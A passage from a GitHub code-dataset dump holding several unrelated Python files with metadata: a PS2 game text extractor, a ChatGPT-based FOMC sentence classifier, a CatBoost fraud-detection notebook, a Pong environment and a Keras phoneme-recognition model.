print(\"------------------------------------------------------\")\n ####################################################################\n\n\n\n\nif __name__ == \"__main__\":\n main()", "repo_name": "mehdi123dj/Dynamic", "sub_path": "classifier.py", "file_name": "classifier.py", "file_ext": "py", "file_size_in_byte": 7914, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sklearn.ensemble.RandomForestClassifier", "line_number": 18, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 18, "usage_type": "call"}, {"api_name": "sklearn.svm.SVC", "line_number": 19, "usage_type": "call"}, {"api_name": "sklearn.svm", "line_number": 19, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 19, "usage_type": "call"}, {"api_name": "sklearn.linear_model.LogisticRegression", "line_number": 20, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 29, "usage_type": "call"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 30, "usage_type": "call"}, {"api_name": "sklearn.metrics.recall_score", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 31, "usage_type": "call"}, {"api_name": "sklearn.metrics.precision_score", "line_number": 31, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 37, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 44, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 50, "usage_type": "call"}, {"api_name": "utils.load_pickles", "line_number": 116, "usage_type": "call"}, {"api_name": "segment.Temporal_vectors", "line_number": 141, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 150, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 151, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 152, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 153, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 173, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 176, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 179, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 182, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 186, "usage_type": "call"}, {"api_name": "utils.res_to_str", "line_number": 197, "usage_type": "call"}, {"api_name": "utils.res_to_str", "line_number": 198, "usage_type": "call"}, {"api_name": "utils.res_to_str", "line_number": 199, "usage_type": "call"}, {"api_name": "utils.res_to_str", "line_number": 200, "usage_type": "call"}]} {"seq_id": "450235356", "text": "# -*- coding: utf-8 -*-\n\n# Tested on Python 3.8.0\n# This tool should be used with Dead or Alive 2 (PS2 USA version - SLUS_200.71)\n\n# Ver Date Author\n# v0.1 11.09.2020 Bartlomiej Duda\n# v0.2 12.09.2020 Bartlomiej Duda\n\nimport os\nimport sys\nimport struct\n\n\n\ndef bd_logger(in_str):\n import datetime\n now = datetime.datetime.now()\n print(now.strftime(\"%d-%m-%Y %H:%M:%S\") + \" \" + in_str) \n \n\ndef read_str(in_file):\n main_encoding = \"windows-1252\"\n out_str = bytes() \n out_str_d = \"\"\n while 1:\n ch = struct.unpack('c', in_file.read(1))[0]\n ch_d = ch.decode(main_encoding)\n if ord(ch_d) != 0:\n out_str += ch\n else:\n out_str_d = out_str.decode(main_encoding)\n return out_str_d\n return out_str_d\n\ndef read_nulls(in_file):\n while 1:\n back_offset = in_file.tell()\n ch = struct.unpack('c', in_file.read(1))[0].decode(\"windows-1252\")\n if ord(ch) != 0:\n in_file.seek(back_offset)\n return\n\n\ndef collect_data(in_file_path, out_file_path, out2_file_path):\n '''\n Function for collecting text data\n ''' \n bd_logger(\"Starting collect_data...\") \n \n in_file = open(in_file_path, 'rb')\n out_file = open(out_file_path, 'wt+', encoding=\"windows-1252\")\n out2_file = open(out2_file_path, 'wt+', encoding=\"windows-1252\")\n \n \n #out1\n in_file.seek(4276792) #go to text1 start address\n offset_arr = []\n j = 0\n p_flag = 0\n for i in range(2105):\n j += 1\n curr_offset = in_file.tell()\n offset_arr.append(curr_offset)\n strr = read_str(in_file)\n read_nulls(in_file)\n out_str = str(i+1) + \") \" + \"str_offset: \" + str(curr_offset) + \" my_str: \" + strr\n #print(out_str)\n out_file.write(out_str + \"\\n\")\n \n \n #out2\n in_file.seek(4519496) #go to text2 start address\n offset_arr = []\n j = 0\n p_flag = 0\n i = 0\n for i in range(245):\n j += 1\n curr_offset = in_file.tell()\n offset_arr.append(curr_offset)\n strr = read_str(in_file)\n read_nulls(in_file)\n out_str = str(i+1) + \") \" + \"str_offset: \" + str(curr_offset) + \" my_str: \" + strr\n print(out_str)\n out2_file.write(out_str + \"\\n\") \n \n \n \n in_file.close()\n out_file.close()\n out2_file.close()\n bd_logger(\"Ending collect_data...\") \n\n\n\n \ndef extract_text(in_exe_filepath, out_text_filepath):\n '''\n Function for extracting english texts\n ''' \n bd_logger(\"Starting extract_text...\") \n \n in_file = open(in_exe_filepath, 'rb')\n out_file = open(out_text_filepath, 'wt+', encoding=\"windows-1252\")\n eng_data_file = open(\"strings_eng_data.txt\", 'rt')\n \n \n offset_arr = []\n size_arr = []\n texts_count = 0\n for line in eng_data_file: #gathering data for text extraction\n texts_count += 1\n line = line.rstrip(\"\\n\")\n \n off_str = line.split(\"\\t\")[0]\n size_str = line.split(\"\\t\")[1]\n \n off_i = int(off_str, 16)\n size_i = int(size_str, 16)\n \n offset_arr.append(off_i)\n size_arr.append(size_i)\n \n \n \n for i in range(texts_count): #saving texts to file\n in_file.seek(offset_arr[i])\n text_str = in_file.read(size_arr[i]).decode(\"windows-1252\")\n #print(text_str)\n out_str = str(offset_arr[i]) + \"_\" + str(size_arr[i]) + \"=\" + text_str\n out_file.write(out_str + \"\\n\")\n \n \n \n \n eng_data_file.close()\n in_file.close()\n out_file.close()\n bd_logger(\"Ending extract_text...\") \n \n \n \n \ndef main():\n \n main_switch = 2\n # 1 - text data collect\n # 2 - text extract\n\n \n\n if main_switch == 1:\n p_in_filepath = \"C:\\\\Users\\\\Arek\\\\Desktop\\\\DOA2 PS2\\\\GAME_FILES\\\\SLUS_200.71\"\n p_out_filepath = \"C:\\\\Users\\\\Arek\\\\Desktop\\\\DOA2 PS2\\\\GAME_FILES\\\\out.txt\"\n p_out2_filepath = \"C:\\\\Users\\\\Arek\\\\Desktop\\\\DOA2 PS2\\\\GAME_FILES\\\\out2.txt\"\n collect_data(p_in_filepath, p_out_filepath, p_out2_filepath)\n \n elif main_switch == 2:\n p_in_filepath = \"C:\\\\Users\\\\Arek\\\\Desktop\\\\DOA2 PS2\\\\GAME_FILES\\\\SLUS_200.71\"\n p_out_filepath = \"C:\\\\Users\\\\Arek\\\\Desktop\\\\DOA2 PS2\\\\GAME_FILES\\\\Dead_or_alive_2_ENG_script.ini\"\n extract_text(p_in_filepath, p_out_filepath)\n \n else:\n print(\"Wrong option selected!\")\n \n \n \n bd_logger(\"End of main...\") \n \n \n \nmain()", "repo_name": "bartlomiejduda/Tools", "sub_path": "NEW Tools/Dead or Alive 2 (PS2)/DOA2_Text_Tool.py", "file_name": "DOA2_Text_Tool.py", "file_ext": "py", "file_size_in_byte": 4534, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 109, "dataset": "github-code", "pt": "78", "api": [{"api_name": "datetime.datetime.now", "line_number": 18, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 18, "usage_type": "attribute"}, {"api_name": "struct.unpack", "line_number": 27, "usage_type": "call"}, {"api_name": "struct.unpack", "line_number": 39, "usage_type": "call"}]} {"seq_id": "16265294180", "text": "import openai,os,sys\nopenai.api_key = \"\"\n# messages = [\n# {\"role\": \"system\", \"content\": \"You are a helpful assistant.\"},\n# ]\nimport os\n\nimport pandas as pd\nimport numpy as np\nfrom time import sleep\n\nfor seed in [5768, 78516, 944601]:\n for data_category in [\"lab-manual-combine\", \"lab-manual-sp\", \"lab-manual-mm\", \"lab-manual-pc\", \"lab-manual-mm-split\", \"lab-manual-pc-split\", \"lab-manual-sp-split\", \"lab-manual-split-combine\"]:\n\n # load training data\n test_data_path = \"../training_data/test-and-training/test_data/\" + data_category + \"-test\" + \"-\" + str(seed) + \".xlsx\"\n data_df = pd.read_excel(test_data_path)\n\n\n sentences = data_df['sentence'].to_list()\n labels = data_df['label'].to_numpy()\n\n # exit(0)\n output_list = []\n for i in range(len(sentences)): \n sen = sentences[i]\n message = \"Discard all the previous instructions. Behave like you are an expert sentence classifier. Classify the following sentence from FOMC into 'HAWKISH', 'DOVISH', or 'NEUTRAL' class. Label 'HAWKISH' if it is corresponding to tightening of the monetary policy, 'DOVISH' if it is corresponding to easing of the monetary policy, or 'NEUTRAL' if the stance is neutral. Provide the label in the first line and provide a short explanation in the second line. The sentence: \" + sen\n # messages.append(\n # {\"role\": \"user\", \"content\": message},\n # )\n messages = [\n {\"role\": \"user\", \"content\": message},\n ]\n try:\n chat_completion = openai.ChatCompletion.create(\n model=\"gpt-3.5-turbo\",\n messages=messages,\n temperature=0.0,\n max_tokens=1000\n )\n except Exception as e:\n print(e)\n i = i - 1\n sleep(10.0)\n\n answer = chat_completion.choices[0].message.content\n \n output_list.append([labels[i], sen, answer])\n sleep(1.0) \n\n results = pd.DataFrame(output_list, columns=[\"true_label\", \"original_sent\", \"text_output\"])\n\n results.to_csv(f'../llm_prompt_test_labels/chatgpt_{data_category}_{seed}.csv', index=False)\n", "repo_name": "gtfintechlab/fomc-hawkish-dovish", "sub_path": "code_model/chatgpt_api_run.py", "file_name": "chatgpt_api_run.py", "file_ext": "py", "file_size_in_byte": 2308, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 19, "dataset": "github-code", "pt": "78", "api": [{"api_name": "openai.api_key", "line_number": 2, "usage_type": "attribute"}, {"api_name": "pandas.read_excel", "line_number": 17, "usage_type": "call"}, {"api_name": "openai.ChatCompletion.create", "line_number": 35, "usage_type": "call"}, {"api_name": "openai.ChatCompletion", "line_number": 35, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 44, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 49, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 51, "usage_type": "call"}]} {"seq_id": "71049554491", "text": "import numpy as np # linear algebra\n\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\n\n\n\nfrom category_encoders import OrdinalEncoder\n\nfrom sklearn.model_selection import train_test_split\n\nfrom sklearn.model_selection import KFold, StratifiedKFold\n\nfrom sklearn.metrics import accuracy_score, roc_auc_score, f1_score\n\nimport matplotlib.pyplot as plt\n\nimport seaborn as sns\n\n\n\nfrom catboost import CatBoostClassifier\n\n\n\nimport os, gc, warnings, time\n\n\n\nrandom_state = 42\ndef read_data(debug_mode = False):\n\n if debug_mode:\n\n nrows = 100000\n\n else:\n\n nrows = None\n\n \n\n data_path = '../input/'\n\n train_identity = pd.read_csv(os.path.join(data_path, 'train_identity.csv'))\n\n train_transaction = pd.read_csv(os.path.join(data_path, 'train_transaction.csv'), nrows = nrows)\n\n test_identity = pd.read_csv(os.path.join(data_path, 'test_identity.csv'),)\n\n test_transaction =pd.read_csv(os.path.join(data_path, 'test_transaction.csv'), nrows = nrows)\n\n \n\n train = pd.merge(train_transaction, train_identity, on= 'TransactionID', how = 'left') \n\n test = pd.merge(test_transaction, test_identity, on= 'TransactionID', how = 'left') \n\n del train_identity, train_transaction, test_identity, test_transaction\n\n gc.collect()\n\n \n\n \n\n print('Finished Reading Data')\n\n return train, test\n\n \n\n\n\ndef get_cat_num_cols(df):\n\n cat_cols = ['DeviceType', 'DeviceInfo', 'ProductCD', 'addr1', 'addr2', 'P_emaildomain', 'R_emaildomain']\n\n cat_cols += ['M' + str(i) for i in range(1,10)]\n\n cat_cols += ['card' + str(i) for i in range(1,7)]\n\n cat_cols += ['id_' + str(i) for i in range(12,39)]\n\n \n\n all_cols = df.columns.tolist()\n\n num_cols = [x for x in all_cols if x not in cat_cols]\n\n num_cols.remove('TransactionID')\n\n num_cols.remove('isFraud')\n\n return cat_cols, num_cols\n\n\n\ndef set_ordinal_encoding(train, test, cat_cols): \n\n oe = OrdinalEncoder( cols = cat_cols, handle_missing = 'return_nan')\n\n train[cat_cols] = oe.fit_transform(train[cat_cols])\n\n test[cat_cols] = oe.transform(test[cat_cols])\n\n print('Finished: Ordinal Encoding')\n\n return train, test\n\n\n\n\n\ndef get_train_test(train, test):\n\n# X_train = df[df['isFraud'].notnull()]\n\n# X_test = df[df['isFraud'].isnull()]\n\n y_train = train.isFraud\n\n sub = pd.DataFrame()\n\n sub['TransactionID'] = test['TransactionID']\n\n X_train = train.drop(['TransactionID', 'isFraud'], axis = 1)\n\n X_test = test.drop(['TransactionID'], axis = 1)\n\n return X_train, X_test, y_train, sub\n\n\n\ndef plot_feature_imp(feature_imp, top_n = 30):\n\n# feature_imp = pd.DataFrame()\n\n# feature_imp['feature'] = model.feature_name()\n\n# feature_imp['importance'] = model.feature_importance()\n\n feature_imp = feature_imp.sort_values(['importance'], ascending = False)\n\n feature_imp_disp = feature_imp.head(top_n)\n\n plt.figure(figsize=(10, 12))\n\n sns.barplot(x=\"importance\", y=\"feature\", data=feature_imp_disp)\n\n plt.title('LightGBM Features')\n\n plt.show() \n\n \n\n \n\ndef cv_results(y_valid, y_prob, verbose = True): \n\n scores = {} \n\n y_pred_class = [0 if x < 0.5 else 1 for x in y_prob]\n\n scores['cv_accuracy'] = accuracy_score(y_valid, y_pred_class)\n\n scores['cv_auc'] = roc_auc_score(y_valid, y_prob)\n\n scores['cv_f1'] = f1_score(y_valid, y_pred_class, average = 'binary')\n\n if verbose:\n\n print('CV accuracy {:0.5f}'.format( scores['cv_accuracy'] ))\n\n print('CV AUC {:0.5f}'.format( scores['cv_auc'] ))\n\n print('CV F1 %0.5f' %scores['cv_f1'] )\n\n return scores \n\n\n\ndef run_lgb_with_cv(params, X_train, y_train, X_test, verbose_eval = 100):\n\n \n\n X_train, X_valid, y_train, y_valid = train_test_split(X_train, y_train, test_size = 0.2, \n\n random_state = random_state, stratify = y_train)\n\n print('Train shape{} Valid Shape{}, Test Shape {}'.format(X_train.shape, X_valid.shape, X_test.shape))\n\n\n\n lgb_train = lgb.Dataset(X_train, y_train)\n\n lgb_valid = lgb.Dataset(X_valid, y_valid)\n\n early_stopping_rounds = 200\n\n lgb_results = {}\n\n \n\n# start_time = time.time()\n\n warnings.filterwarnings(\"ignore\", message=\"categorical_feature in Dataset is overridden\")\n\n model = lgb.train(params,\n\n lgb_train,\n\n num_boost_round = 10000,\n\n valid_sets = [lgb_train,lgb_valid],\n\n early_stopping_rounds = early_stopping_rounds, \n\n# categorical_feature = cat_cols,\n\n evals_result = lgb_results,\n\n verbose_eval = verbose_eval\n\n )\n\n y_prob_valid = model.predict(X_valid) \n\n cv_results(y_valid, y_prob_valid, verbose = True)\n\n \n\n feature_imp = pd.DataFrame()\n\n feature_imp['feature'] = model.feature_name()\n\n feature_imp['importance'] = model.feature_importance()\n\n return model, feature_imp\n\n\n\n\n\ndef run_lgb_simple(debug_mode = True):\n\n \n\n data= read_data(debug_mode = debug_mode)\n\n \n\n cat_cols, num_cols = get_cat_num_cols(data)\n\n \n\n data = set_ordinal_encoding(data, cat_cols) \n\n \n\n X_train, X_test, y_train, sub = get_train_test(data)\n\n del data\n\n gc.collect()\n\n \n\n params = {}\n\n params['learning_rate'] = 0.1 #\n\n params['boosting_type'] = 'gbdt'\n\n params['objective'] = 'binary'\n\n params['seed'] = random_state\n\n params['metric'] = 'auc'\n\n params['num_leaves'] = 60\n\n # params['bagging_fraction'] = 0.7\n\n # params['bagging_freq'] = 1\n\n # params['feature_fraction'] = 0.8\n\n # params['scale_pos_weight'] = 3\n\n # params['max_bin'] = 63\n\n\n\n model, feature_imp = run_lgb_with_cv(params, X_train, y_train, X_test, cat_cols, verbose_eval = 100)\n\n \n\n plot_feature_imp(feature_imp, top_n = 50)\n\n \n\n y_prob_test = model.predict(X_test)\n\n sub['isFraud'] = y_prob_test\n\n sub.to_csv('lgb_sub.csv', index=False)\n\n \n\n \n\ntrain, test = read_data(debug_mode = False)\n# %%time\n\n# #Frequency Encoding: Create a new column which counts combined occurance of each value in both train and test\n\n# for col in cat_cols:\n\n# train[col + '_count'] = train[col].map(pd.concat([train[col], test[col]], ignore_index=True).value_counts(dropna=False))\n\n# test[col + '_count'] = test[col].map(pd.concat([train[col], test[col]], ignore_index=True).value_counts(dropna=False))\n\n#For cat boost the categorical columns need not to be encoded to integers but NaN values must be imputed\n\ncat_cols, num_cols = get_cat_num_cols(train)\n\nmode = train.filter(cat_cols).mode()\n\ntrain[cat_cols]= train[cat_cols].fillna(value=mode.iloc[0])\n\ntest[cat_cols]= test[cat_cols].fillna(value=mode.iloc[0])\n\ntrain, test = set_ordinal_encoding(train, test, cat_cols)\n\n\n\n\n\n# freq_cols = ['card1']\n\n# for col in freq_cols:\n\n# cat_cols.remove(col)\n\n# train[col + '_count'] = train[col].map(pd.concat([train[col], test[col]], ignore_index=True).value_counts(dropna=False))\n\n# test[col + '_count'] = test[col].map(pd.concat([train[col], test[col]], ignore_index=True).value_counts(dropna=False))\n\n\n\n# # Decimal part of Transaction Amount\n\n# train['TransactionAmt_decimal'] = ((train['TransactionAmt'] - train['TransactionAmt'].astype(int)) * 1000).astype(int)\n\n# test['TransactionAmt_decimal'] = ((test['TransactionAmt'] - test['TransactionAmt'].astype(int)) * 1000).astype(int)\n\n\n\nX_train, X_test, y_train, sub = get_train_test(train, test)\n\ndel train, test\n\ngc.collect()\n\n\nX_tr, X_valid, y_tr, y_valid = train_test_split(X_train, y_train, test_size = 0.2, \n\n random_state = random_state, shuffle =False)\n\n\n\ncat_cols_idx = [ X_train.columns.tolist().index(i) for i in cat_cols ]\n\n\n\nprint('Train shape{} Valid Shape{}, Test Shape {}'.format(X_train.shape, X_valid.shape, X_test.shape))\n\n\n\n\nmodel = CatBoostClassifier( iterations= 20000,\n\n loss_function='Logloss',\n\n eval_metric='AUC',\n\n grow_policy = 'Lossguide',\n\n learning_rate = 0.05,\n\n max_leaves = 64,\n\n task_type='GPU',\n\n od_type = 'Iter', #The type of the overfitting detector to use\n\n od_wait = 300, #Stop after n iterations\n\n verbose = 200,\n\n# max_ctr_complexity = 1, #To improve Performance\n\n# border_count = 32, #To improve performance\n\n random_seed = random_state )\n\n\n\nmodel.fit(\n\n X = X_tr,\n\n y = y_tr,\n\n cat_features= cat_cols_idx , \n\n \n\n eval_set= (X_valid, y_valid), \n\n use_best_model = True ,\n\n logging_level = 'Verbose'\n\n ) \n\n\n\ndel X_tr, y_tr\n\ngc.collect()\n\n\nnum_rounds = int(model.best_iteration_ + 0.15 * model.best_iteration_)\n\nmodel = CatBoostClassifier( iterations= num_rounds,\n\n loss_function='Logloss',\n\n grow_policy = 'Lossguide',\n\n max_leaves = 64,\n\n eval_metric='AUC',\n\n learning_rate = 0.05,\n\n task_type='GPU',\n\n# od_type = 'Iter', #The type of the overfitting detector to use\n\n# od_wait = 300, #Stop after n iterations\n\n verbose = 200,\n\n# max_ctr_complexity = 1, #To improve Performance\n\n# border_count = 32, #To improve performance\n\n random_seed = random_state )\n\n\n\nmodel.fit(\n\n X = X_train,\n\n y = y_train,\n\n cat_features= cat_cols_idx , \n\n \n\n# eval_set= (X_valid, y_valid), \n\n use_best_model = False ,\n\n logging_level = 'Verbose'\n\n ) \ny_prob_valid = model.predict(X_valid, prediction_type = 'Probability')[:,-1] \n\ncv_results(y_valid, y_prob_valid, verbose = True)\n\n# plot_feature_imp(feature_imp, top_n = 50)\n\n# feature_imp.to_csv('feature_imp.csv', index = False)\n\n\n\ny_prob_test = model.predict(X_test, prediction_type = 'Probability')[:,-1]\n\nsub['isFraud'] = y_prob_test\n\nsub.to_csv('cb_sub.csv', index=False)", "repo_name": "aorursy/new-nb-1", "sub_path": "ajaykgp12_ieee-catboost.py", "file_name": "ajaykgp12_ieee-catboost.py", "file_ext": "py", "file_size_in_byte": 10667, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pandas.read_csv", "line_number": 44, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 44, "usage_type": "call"}, {"api_name": "os.path", "line_number": 44, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 46, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 46, "usage_type": "call"}, {"api_name": "os.path", "line_number": 46, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 48, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 48, "usage_type": "call"}, {"api_name": "os.path", "line_number": 48, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path", "line_number": 50, "usage_type": "attribute"}, {"api_name": "pandas.merge", "line_number": 54, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 56, "usage_type": "call"}, {"api_name": "gc.collect", "line_number": 60, "usage_type": "call"}, {"api_name": "category_encoders.OrdinalEncoder", "line_number": 100, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 122, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 146, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 146, "usage_type": "name"}, {"api_name": "seaborn.barplot", "line_number": 148, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 150, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 150, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 152, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 152, "usage_type": "name"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 164, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_auc_score", "line_number": 166, "usage_type": "call"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 168, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 186, "usage_type": "call"}, {"api_name": "warnings.filterwarnings", "line_number": 206, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 232, "usage_type": "call"}, {"api_name": "gc.collect", "line_number": 264, "usage_type": "call"}, {"api_name": "gc.collect", "line_number": 363, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 366, "usage_type": "call"}, {"api_name": "catboost.CatBoostClassifier", "line_number": 381, "usage_type": "call"}, {"api_name": "gc.collect", "line_number": 431, "usage_type": "call"}, {"api_name": "catboost.CatBoostClassifier", "line_number": 436, "usage_type": "call"}]} {"seq_id": "486569185", "text": "import numpy as np\nimport pygame\n\nfrom paddle import Paddle\nfrom ball import Ball\n\nclass PongEnvironment:\n def __init__(self, screen):\n self.screen = screen\n self.paddle1 = Paddle(50, 250, pygame.K_w, pygame.K_s) # Control with W and S\n self.paddle2 = Paddle(735, 250, pygame.K_UP, pygame.K_DOWN) # Control with UP and DOWN\n self.PADDLE_SPEED = 10\n self.ball = Ball(400, 300, 5, 5) # Assuming the initial position and speed\n self.score1 = 0\n self.score2 = 0\n\n def get_state(self):\n # Current simplified state space: positions of two paddles and the ball\n return np.array([self.paddle1.rect.y, self.paddle2.rect.y, self.ball.rect.x, self.ball.rect.y])\n\n def reset(self):\n # Reset the game state to the initial state\n self.paddle1.rect.y = 250\n self.paddle2.rect.y = 250\n self.ball.rect.x = 400\n self.ball.rect.y = 300\n self.score1 = 0\n self.score2 = 0\n return self.get_state()\n\n def step(self, action1, action2):\n # 1 is move up, 2 is move down, 0 is do nothing\n if action1 == 1:\n self.paddle1.move(-self.PADDLE_SPEED)\n elif action1 == 2:\n self.paddle1.move(self.PADDLE_SPEED)\n\n if action2 == 1:\n self.paddle2.move(-self.PADDLE_SPEED)\n elif action2 == 2:\n self.paddle2.move(self.PADDLE_SPEED)\n \n score_player = self.ball.move()\n if score_player == 1:\n self.score1 += 1\n self.ball.rect.center = (400, 300) # Reset ball position\n elif score_player == 2:\n self.score2 += 1\n self.ball.rect.center = (400, 300) # Reset ball position\n\n self.ball.collide_with(self.paddle1)\n self.ball.collide_with(self.paddle2)\n\n # The reward is the difference in scores\n reward = self.score1 - self.score2\n # The game is done if a player has 11 points\n done = self.score1 >= 11 or self.score2 >= 11\n return self.get_state(), reward, done\n\n def render(self):\n self.screen.fill((0, 0, 0)) # Fill the screen with black\n # Draw a middle line\n pygame.draw.line(self.screen, (255, 255, 255), (400, 0), (400, 600), 1)\n self.paddle1.draw(self.screen)\n self.paddle2.draw(self.screen)\n self.ball.draw(self.screen)\n pygame.display.flip()", "repo_name": "nJavo/pongProject", "sub_path": "environment.py", "file_name": "environment.py", "file_ext": "py", "file_size_in_byte": 2392, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "paddle.Paddle", "line_number": 10, "usage_type": "call"}, {"api_name": "pygame.K_w", "line_number": 10, "usage_type": "attribute"}, {"api_name": "pygame.K_s", "line_number": 10, "usage_type": "attribute"}, {"api_name": "paddle.Paddle", "line_number": 11, "usage_type": "call"}, {"api_name": "pygame.K_UP", "line_number": 11, "usage_type": "attribute"}, {"api_name": "pygame.K_DOWN", "line_number": 11, "usage_type": "attribute"}, {"api_name": "ball.Ball", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 19, "usage_type": "call"}, {"api_name": "pygame.draw.line", "line_number": 63, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 63, "usage_type": "attribute"}, {"api_name": "pygame.display.flip", "line_number": 67, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 67, "usage_type": "attribute"}]} {"seq_id": "7988403524", "text": "from __future__ import print_function\nfrom keras.callbacks import ModelCheckpoint\n\nfrom keras.models import Sequential\nfrom keras.layers import Dense,Flatten,Masking\nfrom keras.layers import LSTM,Conv2D,TimeDistributed,Bidirectional\nfrom keras.optimizers import adam\nimport numpy as np\n\ndef labelpadding(len,cat,non=39):\n zero = np.zeros([len,cat])\n zero[:,non] = 1\n return zero\n\ndef reshape_xydata(dictx_data, dicty_data, maxlen):\n wavname = list(dictx_data.keys()) # wavname list\n wavnum = len(wavname)\n dim = dictx_data[wavname[0]].shape[1] # input dimensions\n cat = dicty_data[wavname[0]].shape[1] # numbers of phones\n\n ### Transform x_data into shape (frames, timesteps, dim)\n ### Transform y_data into shape (frames, cat)\n #trframe_num = sum([dictx_data[name].shape[0] for name in wavname[0:3000]])\n #valframe_num = sum([dictx_data[name].shape[0] for name in wavname[3000:]])\n x_train = np.zeros([3000, maxlen, dim])\n x_valid = np.zeros([wavnum-3000, maxlen, dim])\n y_train = np.zeros([3000,maxlen,cat])\n y_valid = np.zeros([wavnum-3000,maxlen,cat])\n\n #trainframe = 0\n #validframe = 0\n for i in range(wavnum):\n wavdata = np.float64(dictx_data[wavname[i]])\n wavdata = (wavdata-wavdata.mean(axis = 0))/wavdata.std(axis = 0)\n frlen = wavdata.shape[0]\n wavlabel = dicty_data[wavname[i]]\n padlen = maxlen-frlen\n pre_padlen = int(padlen/2)\n post_padlen = padlen-pre_padlen\n if i < 3000: # training\n x_train[i] = np.row_stack((wavdata,np.zeros([padlen,dim])))\n y_train[i] = np.row_stack((wavlabel,labelpadding(padlen,cat)))\n else: # validation\n x_valid[i-3000] = np.row_stack((wavdata,np.zeros([padlen,dim])))\n y_valid[i-3000] = np.row_stack((wavlabel,labelpadding(padlen,cat)))\n print('x_train shape:', x_train.shape)\n print('x_valid shape:', x_valid.shape)\n\n return x_train, y_train, x_valid, y_valid, dim, cat\n\n\ndef LSTMmodel(dim, cat):\n print('Build model...')\n model = Sequential()\n model.add(Conv2D(5,[3,1],padding='same',input_shape = (None,dim,1)))\n model.add(TimeDistributed(Flatten()))\n model.add(Bidirectional(LSTM(units=256, activation='tanh',return_sequences=True)))#, batch_input_shape=(None,None,dim)))\n model.add(LSTM(units=cat, activation='softmax',return_sequences=True))\n #model.add(Dense(cat,activation='softmax'))\n\n return model\nbatch_size = 50\nlook_back = 3\nmaxlen = 777\nif __name__ == '__main__':\n print('Loading data...')\n ### Load data\n dictx_data = np.load('x_data.npy').item()\n dicty_data = np.load('y_data.npy').item()\n x_train, y_train, x_valid, y_valid, dim, cat = reshape_xydata(dictx_data, dicty_data, maxlen)\n\n x_train = x_train.reshape(x_train.shape[0],x_train.shape[1],x_train.shape[2],1)\n x_valid = x_valid.reshape(x_valid.shape[0],x_valid.shape[1],x_valid.shape[2],1)\n\n model = LSTMmodel(dim, cat)\n # Run training\n print('Train...')\n adam = adam(lr = 0.001)\n model.compile(optimizer=adam, loss='categorical_crossentropy', metrics=['acc'])\n checkpointer = ModelCheckpoint(filepath='Crnn_model_cp.h5', verbose=0, save_best_only=True,monitor='val_acc')\n model.fit(x_train, y_train,\n callbacks=[checkpointer],\n verbose=1,\n shuffle=True,\n batch_size=batch_size,\n epochs=80,\n validation_data=(x_valid, y_valid))\n\n model.save('Crnn_models.h5')", "repo_name": "shanxiyangw/TIMIT_Phoneme_Recognition", "sub_path": "model_cnn.py", "file_name": 